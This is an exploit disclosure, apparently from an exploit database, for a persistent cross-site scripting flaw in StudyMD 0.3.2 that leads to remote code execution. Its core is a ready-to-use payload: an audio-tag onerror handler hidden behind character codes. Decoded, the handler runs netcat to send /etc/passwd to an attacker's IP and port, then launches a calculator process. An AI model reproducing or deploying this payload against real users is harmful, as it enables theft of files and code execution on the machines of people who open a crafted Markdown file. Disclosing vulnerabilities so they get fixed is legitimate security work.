StudyMD 0.3.2 - Persistent Cross-Site Scripting

# Exploit Title: StudyMD 0.3.2 - Persistent Cross-Site Scripting
# Exploit Author: TaurusOmar
# Date: 04/05/2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/jotron/StudyMD
# Version: 0.3.2
# Tested on: Windows, Linux, MacOs

# Software Description:
A cool app to study with markdown. Turns your Markdown-Summaries to Flashcard.
Allows user to create flash cards based on markdown files (.md) for easy viewing of their structure.


# Vulnerability Description:
The software allows you to store payloads within your flash card manager, as well as upload files (.md) once the malicious code is entered, the payload will be executed immediately. The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer.


#Proof Video
https://imgur.com/a/lDHKEIp



# Payload: exec(AttackerReverse netcat stolen => /etc/passwd) && exec(calc)

[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)